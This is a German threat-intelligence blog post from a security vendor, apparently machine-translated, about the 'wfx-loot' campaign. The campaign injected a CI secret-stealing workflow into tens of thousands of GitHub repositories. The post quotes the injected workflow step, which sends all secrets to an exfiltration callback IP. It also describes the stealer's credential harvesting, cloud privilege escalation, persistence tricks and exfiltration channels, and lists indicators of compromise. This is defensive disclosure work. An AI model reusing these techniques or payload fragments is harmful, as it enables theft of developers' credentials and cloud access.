Aikido

Die „wfx-loot“-Kampagne verbreitet einen CI-Secret-Stealer in Zehntausenden von Repositories

Verfasst von
Oliver Smith

Ab dem 10. November nutzte ein Angreifer gestohlene GitHub-Zugangsdaten, um eine bösartige Workflow-Nutzlast in Zehntausende von Repositorys einzuspielen. Die Nutzlast stiehlt GitHub-Actions- secrets - und Cloud-Zugangsdaten. Die Nutzlast hat sich über automatisierte Veröffentlichungsauslöser in mindestens ein Packagist- und ein Golang-Paket verbreitet, doch der Angreifer scheint es eher auf CI- secrets abzusehen, anstatt zu versuchen, sich über die Lieferkette zu verbreiten. 

Auf der Grundlage der Daten, die wir bisher erhoben haben:

  • 4.837 kompromittierte Konten haben in 61.764 Repositories Pull-Anfragen zur Überprüfung eröffnet.
  • In mindestens 1.835 Repositories wurde die Schadcode-Nutzlast ausgeführt, wodurch Anmeldedaten abgezogen wurden.
  • Mindestens 50 kompromittierte Nutzer scheinen Pakete für Ökosysteme wie npm, Go, Packagist, PyPI oder crates zu veröffentlichen.

Wir verfolgen diese Kampagne unter dem Namen „wfx-loot“, basierend auf dem Namen, den der Angreifer für die Malware gewählt hat, sowie dem Begriff, der für gestohlene secrets verwendet wird.

Wer ist betroffen

Sie sind möglicherweise betroffen, wenn eines der folgenden Elemente am oder nach dem 10. November in einem Repository aufgetreten ist, auf das Sie Schreibzugriff haben:

  • A wfx-docs Zweig oder ein Pull-Request mit dem Titel Dokumente: Anmerkungen zur Abhängigkeitsprüfung
  • Commits mit dem Titel ci: Build-Cache aktualisieren, Aufgabe: CI-Helper hinzufügen oder Chore: Workflow zur Überprüfung von Abhängigkeiten hinzufügen
  • Kurzlebige Zweige mit dem Namen Hausarbeit/ gefolgt von acht zufälligen Zeichen

Die GitHub-Suche liefert 61.839 Ergebnisse Dokumente: Anmerkungen zur Abhängigkeitsprüfung Pull-Anfragen, die zwischen dem 10. November, 12:45 Uhr UTC, und dem 11. November, 15:00 Uhr UTC, eröffnet wurden. Diese Pull-Anfrage dient lediglich als Test und wird von Commits gefolgt, die die eigentliche Nutzlast enthalten. Wenn der Test ausgeführt wurde, ist der betreffende Benutzer kompromittiert, auch wenn die Workflow-Phase nicht ausgeführt wurde.

  • 10.431 der Pull-Anfragen wurden in Repositorys eingereicht, die nicht diesem Konto gehören, sondern über den Zugriff als Mitwirkender oder über die Organisation erreicht wurden.
  • 92 % davon sind noch geöffnet, was darauf hindeutet, dass die meisten Besitzer es noch nicht bemerkt haben.

Wir haben Hinweise darauf gefunden, dass die Schadsoftware in mindestens 1.806 Repositorys ausgeführt wurde, doch diese Zahl könnte das tatsächliche Ausmaß unterschätzen. Das Ausführungsprotokoll wurde in den betroffenen Repositorys gelöscht, was bedeutet, dass der Angreifer wahrscheinlich die Anmeldedaten gesammelt und seine Spuren verwischt hat. In den meisten übrigen Fällen wurde nach der Erkundung nichts mehr gepusht, oder der infizierte Workflow wurde aufgrund von Konfigurationen oder den Berechtigungen des kompromittierten Benutzers nicht ausgeführt.

Falls die Payload in Ihrem Repository ausgeführt wurde, gehen Sie davon aus, dass alle Geheimnisse und Cloud-Rollen, auf die die dortigen Workflows Zugriff haben, kompromittiert sind.

Wir haben außerdem beobachtet, dass diese Kampagne über automatisierte Veröffentlichungsauslöser in veröffentlichte Pakete gelangt. Zu den bösartigen Paketen, die wir bisher identifiziert haben, gehören:

  • Packagist digitalelvis/neuronai-studio Version 3.14.3. Betrachten Sie jeden Rechner, auf dem eine dieser beiden Versionen installiert oder geöffnet wurde, als kompromittiert.
  • Go-Modul github.com/onuragtas/docker-env v1.0.278 und v1.0.280: Diese Tags enthalten die Nutzdaten ausschließlich in einer GitHub-Actions-Workflow-Datei. Der Go-Quellcode und die Release-Binärdateien sind unverändert, und Go-Builds führen niemals Workflow-Dateien aus. Daher sind Nutzer des Moduls möglicherweise nicht betroffen, wir empfehlen jedoch, diese Pakete trotzdem zu entfernen.

Was geschah

Ab etwa 12:45 Uhr UTC bzw. am 10. November begann der Angreifer, kompromittierte GitHub-Token zur Verbreitung der Malware zu nutzen. Für jedes Repository, in das ein gestohlenes GitHub-Token schreiben kann, hat der Angreifer:

  1. Sonden - Der Angreifer öffnet eine Dokumente: Anmerkungen zur Abhängigkeitsprüfung Pull-Anfrage von einem wfx-docs Zweig, der den Schreibzugriff bestätigt.​
  2. Überträgt die Nutzdaten – Der Angreifer nutzt eine von drei Varianten:
    • Workflow-Einbindung: ci: Build-Cache aktualisieren fügt einem bestehenden Workflow etwa 1.500 Zeilen hinzu.
    • Haken anbringen: Aufgabe: CI-Helper hinzufügen fügt eine .ci-xxxxxx.sh Skript und ein postinstall Hook in package.json das es auf jedem npm install
    • Wegwerf-Zweig: chore: Workflow zur Überprüfung von Abhängigkeiten hinzufügen fügt hinzu .github/workflows/build-audit-xxxxxx.yml auf einem Aufgabe/xxxxxxxx Zweigstelle.
  3. Beseitigung der Spuren – Der Angreifer macht die Änderungen innerhalb von höchstens einer Minute rückgängig und löscht den Workflow-Lauf samt den zugehörigen Protokollen. Oft ist eine fehlende Laufnummer im Verlauf des Workflows die einzige Spur.

Die eingefügten Workflow-Schritte sehen wie folgt aus:

- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "b42d70a7aab9140ca19e8249"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

Was es stiehlt

Die Nutzlast besteht aus einem einzigen Shell-Skript mit etwa 1.500 Zeilen. In allen drei Verbreitungsvarianten kommt dasselbe Skript zum Einsatz. Es arbeitet in vier Phasen: Erfassen, Eskalieren, Persistieren und Exfiltrieren. Konfigurationsflags am Anfang des Skripts schalten einzelne Funktionen ein oder aus. In diesem Abschnitt werden alle Funktionen des Skripts beschrieben, allerdings waren einige der Exfiltrationsfunktionen in dieser Kampagne deaktiviert.

Das Skript enthält zahlreiche Kommentare, ist nicht verschleiert und bezeichnet sich in Protokollen und Variablennamen selbst als „wfx“.

Erfassen. Die Payload erfasst Anmeldedaten aus allen auf dem Runner verfügbaren Quellen:

  • GitHub Actions secrets s und Variablen – der Workflow GITHUB_TOKEN, sowie die OIDC- und Actions-Laufzeit-Token.
  • Die vollständige Laufzeitumgebung sowie eine gefilterte Kopie der Variablen, die mit Token, Geheimnis, pass, cred, aws, Azurblau, gcp, openai, anthropisch, Streifen und Dutzende weiterer Stichwörter.
  • Anmeldedateien aus bekannten Quellen wie AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault und Terraform.
  • Zugangsdaten für KI-Anbieter und KI-Entwicklertools, darunter OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases und Ollama.
  • Shell-Verläufe für Bash, Zsh, MySQL, PostgreSQL, Python und Node.js.
  • Jedes .env, .pem, .p12, .jks, .kdbx und kubeconfig Ablegen unter $HOME, rekursiv durchsucht.
  • Die Umgebung und der Speicher der auf dem Runner ausgeführten Prozesse, Priorisierung Runner.Worker und Runner.Listener. Es extrahiert JWTs, GitHub-PATs, AWS-Schlüssel und Token von KI-Anbietern.
  • Nur bei selbst gehosteten Runners:
    • Anmeldedaten für Instanz-Metadaten bei AWS, GCP und Azure
    • Docker- container -Status
    • die Parameter des „Runner’s RSA “
    • systemd-Einheiten
  • Eine Momentaufnahme des Repositorys, der darin enthaltenen Dateien, die mit einem Katalog geheimer Muster übereinstimmen, der letzten 100 Commits sowie der aktuellen Workflow-Artefakte

Eskalation. Die Nutzlast nutzt die gesammelten Anmeldedaten, um sich tieferen Zugriff auf die Cloud zu verschaffen:

  • OIDC-Austausch – Hier werden GitHub-OIDC-Token für AWS-, GCP- und Azure-Nutzer generiert und gegen Cloud-Sitzungen eingetauscht.
  • AWS - Es verknüpft sich mit anderen IAM-Rollen, die es im Repository findet, und ruft dann iam:CreateAccessKey um lang gültige Anmeldedaten für IAM-Benutzer zu erstellen.
  • GCP - Es signiert JWTs mit den Schlüsseln der Dienstkonten mithilfe einer abhängigkeitsfreien Python-Implementierung von „ RSA “ und tauscht sie gegen Zugriffstoken aus. Anschließend listet es Projekte und Dienstkonten auf und ruft generateAccessToken und signJwt um sich als Dienstkonten auszugeben.
  • Azure – Es tauscht OIDC-Token oder Client- secrets s gegen Verwaltungstoken aus und listet Abonnements und Key Vaults auf. Außerdem arbeitet es mit FOCI-Aktualisierungstoken und wendet zwischengespeicherte Azure-CLI-Aktualisierungstoken auf Microsoft-eigene Client-IDs an, um Graph-, ARM- und Key Vault-Token zu erhalten.
  • Vault und Kubernetes – Es führt OIDC-Token gegen HashiCorp Vault und gegen Kubernetes-API-Server ab, die in kubeconfig-Dateien zu finden sind.

Beharrlich bleiben. Die Payload führt drei Maßnahmen durch, die darauf abzielen, die Rotation der Anmeldedaten zu überstehen:

  • Umgehung des Zweigschutzes - Zu Beginn des Durchlaufs, noch bevor der Großteil der Daten gesammelt wurde, wurden die gefälschten Nutzdaten veröffentlicht Erfolg Statusprüfungen anhand des Commit-SHA unter Verwendung der Kontextnamen der erforderlichen Prüfungen des Repositorys. Der Zweigschutz erfolgt anhand des Kontextnamens und nicht anhand der App, die ihn gepostet hat, sodass die gefälschten Prüfungen die Merge-Gates passieren, während die Payload noch ausgeführt wird.
  • ​Überarbeitung der AWS-Vertrauensrichtlinie - Es legt die Vertrauensrichtlinie der verketteten Rolle fest auf "Principal": {"AWS": "*"}, wodurch die Rolle für jedes AWS-Konto zugänglich wird.
  • ​Einbindung von Azure-Föderationsidentitäten - Mit einem Microsoft Graph-Token fügt es neue Anmeldedaten für die Verbundidentität hinzu, die den Namen wfx-ci-…, an „ Azure AD “-Anwendungen, die auf das kompromittierte Repository verweisen. Jeder Workflow in diesem Repository kann sich dann ohne gespeicherten geheimen Schlüssel bei Azure authentifizieren, selbst nachdem alle Token rotiert wurden.

Exfiltration. Die Nutzlast packt alles in ein gzipped-Tarball-Archiv. Das Skript unterstützt mehrere Übertragungskanäle, von denen drei die GitHub-eigene Infrastruktur nutzen, um Beschränkungen des ausgehenden Datenverkehrs zu umgehen:

  • Actions-Cache-API – Speichert den Tarball als Cache-Eintrag, der später anhand eines passenden Schlüssels abgerufen werden kann.
  • Zusammenfassung der Schritte - Bei Archiven unter 700 KB wird der Tarball im Rahmen des Workflow-Schritts „Zusammenfassung“ zwischen <!--WFX-BEGIN--> Markierungen.
  • ​Hochladen von Artefakten - Es lädt das Tarball-Archiv als Workflow-Artefakt mit dem Namen wfx-loot-<run id>.

Die anderen Kanäle sind:

  • ein direkter HTTP-POST-Aufruf an den Callback-Server, dessen Wiederholung mit zunehmendem Backoff erfolgt
  • eine sekundäre Callback-URL
  • eine AES-verschlüsselte Kopie, die in das Repository eingecheckt wurde
  • In das Protokoll des Workflow-Laufs geschriebene, Base32-kodierte Ausgabe
  • Exfiltration über einen Telegram-Bot

In dieser Kampagne war die Nutzlast so konfiguriert, dass Daten ausschließlich per HTTP-POST an 194.150.166[.]244:8080/exfil oder 18.143.168[.]96:8080/exfil:

  • Die Kanäle „Cache“, „Schrittzusammenfassung“ und „Artefakt“ werden nur ausgeführt, wenn das Flag „private-repository“ gesetzt ist; die bereitgestellte Konfiguration deaktiviert diese Funktion.
  • Der „encrypted-commit“-Fallback und der Run-Log-Kanal sind deaktiviert
  • Es ist kein sekundärer Callback festgelegt

Wenn Sie ein betroffenes Repository überprüfen, bedeutet das Fehlen von wfx-loot Artefakte, wfx- Cache-Einträge oder WFX-BEGIN Dass die Schrittzusammenfassungen fehlen, bedeutet nicht, dass keine Daten erfasst wurden. Der Lauf selbst wird in der Regel auf der Grundlage unserer Daten gelöscht. Eine fehlende Laufnummer im Commit des Angreifers ist ein zuverlässigeres Anzeichen dafür, dass die Payload ausgeführt wurde. Das Vorhandensein spezieller Konfigurationen für private Repositorys deutet darauf hin, dass die Payload möglicherweise sowohl in privaten Repositorys als auch in den von uns identifizierten öffentlichen Repositorys eingesetzt wird.

Überschneidung mit der „GhostAction“-Aktion im Oktober

Die von dieser Welle betroffenen Konten überschneiden sich mit der GhostActions-Welle vom Oktober und entsprechen den bekannten GhostActions-Indikatoren:

  • Workflows zum Scannen vertraulicher Dokumente (security-audit.yml, audit.yml, ci-check.yml und Ähnliches), die Schlüssel, die im Repository und dessen Git-Historie gefunden wurden, an 193.32.204[.]199.
  • Ein Programm zur Entwendung von Entwickler-Rechnern: public/fonts/fa-solid-400.woff2, bei dem es sich um JavaScript handelt, nicht um eine Schriftart, sowie eine versteckte VS-Code-Aufgabe, die das Skript ausführt, sobald der Ordner geöffnet wird. Es dauert ~/.git-credentials, SSH-Schlüssel, npm, PyPI, AWS- und Claude-Anmeldedaten und richtet einen Cron-Job mit dem Tag #ghc2 dass Umfragen 193.32.204[.]199:8080 für Befehle.

Konten, die im Oktober von GhostAction betroffen waren, waren deutlich häufiger als im Vergleichswert von wfx-loot betroffen. In mehr als 100 Repositorys wurde wfx-loot in die Workflow-Dateien von GhostAction eingeschleust. Trotz der Überschneidungen bei den Konten gehen wir davon aus, dass es sich um unterschiedliche Kampagnen handelt, die wahrscheinlich von verschiedenen Angreifern durchgeführt wurden. Die Infrastruktur, die Werkzeuge und die Vorgehensweisen unterscheiden sich, und gestohlene Anmeldedaten gelangen oft in die Hände mehrerer Angreifer. Wir haben außerdem in einigen neueren Versionen der Malware Kommentare in indonesischer Sprache entdeckt, die das Ergebnis einer hastigen Bearbeitung sind, um die Exfiltration über Telegram hinzuzufügen. Bei GhostAction-Aktivitäten haben wir noch nie Artefakte in indonesischer Sprache beobachtet.

Wie Aikido dies erkennt

Wenn Sie Aikido nutzen, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Kompromittierte Pakete im Zusammenhang mit dieser Kampagne werden als kritisches Problem mit einer Schwere von 100/100 angezeigt. Aikido führt jede Nacht einen erneuten Scan durch, wir empfehlen jedoch, jetzt einen manuellen Scan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Indikatoren für Kompromittierung

Betroffene Paketversionen

  • Packagist digitalelvis/neuronai-studio 3.14.3
  • Go github.com/onuragtas/docker-env v1.0.278 und v1.0.280. Die Nutzlast befindet sich ausschließlich in einer Workflow-Datei.

Netzwerkindikatoren

  • ​194.150.166[.]244:8080 (/exfil)
  • 18.143.168[.]96:8080 (/exfil)

GitHub-Kennzahlen

  • Zweigstellen: wfx-docs, chore/[a-z0-9]{8}, ci-check-[0-9]{4}​
  • Titel des Pull-Requests: Dokumente: Anmerkungen zur Abhängigkeitsprüfung​
  • Commit-Meldungen:
    • ​ci: Build-Cache aktualisieren
    • ci: Wiederherstellung
    • Aufgabe: CI-Helper hinzufügen
    • ci: Bereinigung
    • Chore: Workflow zur Überprüfung von Abhängigkeiten hinzufügen

Dateien

  • Stealer-Skript: 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
Teilen:

https://www.aikido.dev/blog/compromised-github-accounts-push-ci-secret-stealer-to-tens-of-thousands-of-repositories

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Werden Sie noch heute sicher,
schnell und kostenlos.

Sichern Sie Code, Cloud und Laufzeit in einem zentralen System.
Verbinden Sie ein Repository, um herauszufinden, was die Reasoning Agents in Ihrer Codebasis finden.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sekunden.
Von über 150.000 Unternehmen vertraut